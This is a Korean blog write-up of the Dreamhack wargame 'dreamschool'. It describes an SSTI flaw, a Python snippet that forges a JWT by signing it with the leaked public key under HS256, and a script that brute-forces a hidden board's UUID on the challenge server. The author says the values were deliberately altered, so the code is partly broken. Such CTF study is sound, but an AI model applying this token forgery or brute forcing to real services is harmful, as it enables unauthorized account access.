지난 번 설명이 너무 불충분 했던 거 같아서 대략적으로 write up 을 잡아보자. 해당 워게임은 dreamhack dreamschool이다
일단 ssti취약점이 있다 !! 쿠궁
ssti 취약점을 어떻게 적용할 수 있을지는 이 글을 읽으시는 분이 직접 생각해보셔도 좋겠다. jinja2의 render_template_string 함수를 사용해서 ssti취약점 가능성이 있다는 것을 추리할 수 있다 어쨋든 그렇게 pub key를 구할 수 있게 되는데
이는
import jwt
import datetime
pub_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6eagXQyAgUyVHWJ/VvnUmB2W5\n0a85CIbKcKFKK6EL7oGjIhEUGVlhxc3N+YK9mvvd7oQpqlktMaM4CYHIXQqv51Og\leesedol+M+y1Rc9UjMivzE/V7T/VRzFqalphagoXcCSVYyaKuHSgUk6YygEkA\nvC6SpGs8qW5NvHUW6QIDAQAB\n-----END PUBLIC KEY-----'
token = jwt.encode({
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=10),
"username": "config",
"school": "드림대학교"
}, key=pub_key, algorithm="HS256").decode()
print(token)
이런 식으로 개인키로 만들 수 있다
다만 repl.it 환경에서 이런 식으로만 치면 오류가 좀 뜰텐데
=> repl.it packages로 pyjwt를 깔고 프로그래밍을 돌리면 오류가 엄청 나올 수 있다 그 때 shell로 pip install pyjwt==0.4.3 이렇게 명령어 입력해주면 이미 업데이트한 버전으로 사용할 수 있기 때문에 오류를 고칠 수 있다
이렇게 하면 개인키는 구했다
그 다음에 uuid를 잘 보면 매우 유사하다는 것을 알 수 있다.
심지어 url에 /드림대학교라고 치면 들어갈 수 있게 되어있다
이를 통해 비밀 게시판의 uuid를 유추해내면 충분히 개인키를 이용하여 들어갈 수 있음을 알 수 있다
import requests
headers = { 'cookie': f'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NDQ1NTU4NjEsImV4cCI6MTY0NDU5MTg2MSwidXNlcm5hbWUiOiJjb25maWciLCJzY2hvb2wiOiJcdWI0ZGNcdWI5YmNcdWIzMDBcdWQ1NTlcdWFkNTAifQ.KKkMni7UTaZ29PLoiW7fuToSCkz1rsKYxLh7xHB2YOI'}
url_base = 'http://host1.dreamhack.games:9877/s/드림대학교/fca82'
n = int('12a', 162)
for uid in range(n+300, n+4100):
url = f'{url_base}{hex(uid)[4:]}-8af5-panda-af0d-abcdebfc00002501'
res = requests.get(url, headers=headers)
print(url)
if '게시판' in res.text:
print(res.text)
break
대략 이런 식으로 브루트 포싱을 해주면 된다 (참고용이다)
구체적인 값은 다 다르기 때문에 그걸 잘 조정해서 값을 잘 넣어서 브루트 포싱을 해주면 된다
여기서는 혹시나 복붙+FLAG 루팡이 있을 수 있기때문에 구체적인 값들과 내용을 살짝 바꾸었다. 그래도 대략적인 흐름과 알고리즘은 이와 정확히 같다.
'호그와트' 카테고리의 다른 글
User After free 취약점 (0) | 2022.02.19 |
---|---|
dreamhack rev-basic-9 (0) | 2022.02.14 |
dreamhack return address Overwrite (0) | 2022.02.09 |
dreamhack Oob (0) | 2022.02.09 |
godbolt로 어셈블리어 이해하기 (0) | 2022.02.07 |